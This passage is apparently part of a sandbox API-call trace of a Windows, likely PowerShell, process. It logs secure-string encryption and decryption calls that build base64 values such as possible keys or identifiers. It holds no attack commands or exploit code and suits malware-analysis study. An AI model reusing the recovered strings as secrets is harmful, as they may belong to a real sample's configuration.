MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.739] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\x3e49\x7c9b\x5718\x9fac\x74a5\xb7e5\x909a\x80e6") returned 0x28 [0130.739] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\x3e49\x7c9b\x5718\x9fac\x74a5\xb7e5\x909a\x80e6") returned 0x28 [0130.739] SystemFunction041 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.739] SysStringLen (param_1="9fmJGfellrv4UKOIU+XscXztmLkJrBzwu8neKiBX") returned 0x28 [0130.739] SystemFunction040 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.739] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\xb2a9\x7ebe\xf04a\x71e4\x6d21\x3237\xad7e\x5a6b") returned 0x28 [0130.740] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\xb2a9\x7ebe\xf04a\x71e4\x6d21\x3237\xad7e\x5a6b") returned 0x28 [0130.740] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\xb2a9\x7ebe\xf04a\x71e4\x6d21\x3237\xad7e\x5a6b") returned 0x28 [0130.740] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\xb2a9\x7ebe\xf04a\x71e4\x6d21\x3237\xad7e\x5a6b\x38\x6f\x79\x58\x78\x7a\x2e\x6d") returned 0x30 [0130.740] SystemFunction041 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0130.740] SysStringLen (param_1="9fmJGfellrv4UKOIU+XscXztmLkJrBzwu8neKiBXv塚䗮਋盒") returned 0x30 [0130.740] SystemFunction040 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0130.740] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\xb2a9\x7ebe\xf04a\x71e4\x6d21\x3237\xad7e\x5a6b\x9545\x689\x45e3\x28ba\x5723\x96a3\x1ff3\xff10") returned 0x30 [0130.740] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\xb2a9\x7ebe\xf04a\x71e4\x6d21\x3237\xad7e\x5a6b\x9545\x689\x45e3\x28ba\x5723\x96a3\x1ff3\xff10") returned 0x30 [0130.740] SystemFunction041 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0130.741] SysStringLen (param_1="9fmJGfellrv4UKOIU+XscXztmLkJrBzwu8neKiBXv1䗮਋盒") returned 0x30 [0130.741] SystemFunction040 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0130.741] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\xb2a9\x7ebe\xf04a\x71e4\x6d21\x3237\xad7e\x5a6b\x442b\x602b\xccc8\x50b6\x8ca\x4370\x677\xc0b0") returned 0x30 [0130.741] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\xb2a9\x7ebe\xf04a\x71e4\x6d21\x3237\xad7e\x5a6b\x442b\x602b\xccc8\x50b6\x8ca\x4370\x677\xc0b0") returned 0x30 [0130.741] SystemFunction041 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0130.741] SysStringLen (param_1="9fmJGfellrv4UKOIU+XscXztmLkJrBzwu8neKiBXv1Y䗮਋盒") returned 0x30 [0130.741] SystemFunction040 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0130.741] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\xb2a9\x7ebe\xf04a\x71e4\x6d21\x3237\xad7e\x5a6b\xab\x4dbc\x6089\x8fd\xf4df\xa098\x4df0\xe6d1") returned 0x30 [0130.741] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xc724\xdec\x1abe\x1803\xd34b\x2d05\x8185\xb481\x50f2\x62eb\xf73\xd4f7\x7c9c\x3f81\xf2ef\x7491\x3ea3\x789d\x3ec4\x606d\xaaa5\x268e\xf3d7\x6ea7\xb2a9\x7ebe\xf04a\x71e4\x6d21\x3237\xad7e\x5a6b\xab\x4dbc\x6089\x8fd\xf4df\xa098\x4df0\xe6d1") returned 0x30 [0130.741] SystemFunction041 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0130.741] SysStringLen (param_1="9fmJGfellrv4UKOIU+XscXztmLkJrBzwu8neKiBXv1Y=਋盒") returned 0x30 [0130.741] SystemFunction040 (in: Memory=0x8e309a4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e309a4) returned 0x0 [0130.741] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.741] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.741] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.742] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5fc, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0130.742] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9d4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9d4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.742] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae934*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae934*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.742] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.742] SysStringLen (param_1="") returned 0x8 [0130.742] SysStringLen (param_1="Y") returned 0x8 [0130.742] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.742] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0130.743] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0130.743] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.743] SysStringLen (param_1="YW") returned 0x8 [0130.743] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.743] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0130.743] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0130.743] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.743] SysStringLen (param_1="YWM") returned 0x8 [0130.743] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.743] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0130.743] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0130.743] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.743] SysStringLen (param_1="YWM1") returned 0x8 [0130.743] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.743] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0130.743] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0130.743] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.744] SysStringLen (param_1="YWM1O") returned 0x8 [0130.744] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.744] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0130.744] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0130.744] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.744] SysStringLen (param_1="YWM1OT") returned 0x8 [0130.744] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.744] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0130.744] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0130.744] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.744] SysStringLen (param_1="YWM1OTE") returned 0x8 [0130.744] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.744] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0130.744] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0130.744] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.745] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0130.745] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.745] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0130.745] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0130.745] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0130.745] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0130.745] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.745] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0130.745] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.745] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0130.745] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0130.745] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.745] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0130.745] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.745] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0130.745] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0130.745] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.746] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0130.746] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.746] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0130.746] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0130.746] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.746] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0130.746] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.746] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0130.746] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0130.746] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.746] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0130.746] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.746] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0130.746] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0130.746] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.746] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0130.746] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.747] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0130.747] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0130.747] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.747] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0130.747] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.747] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0130.747] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0130.747] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.747] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0130.747] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.747] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0130.747] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0130.747] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0130.747] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0130.747] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.748] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0130.748] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.748] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0130.748] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0130.748] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.748] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0130.748] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.748] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0130.748] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0130.748] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.748] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0130.748] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.748] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0130.748] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0130.748] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.748] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0130.748] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.749] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0130.749] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0130.749] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.749] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0130.749] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.749] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0130.749] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0130.749] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.749] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0130.749] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.749] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0130.749] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0130.749] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.749] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0130.749] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.749] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0130.749] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0130.750] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.750] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0130.750] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.750] SysStringLen 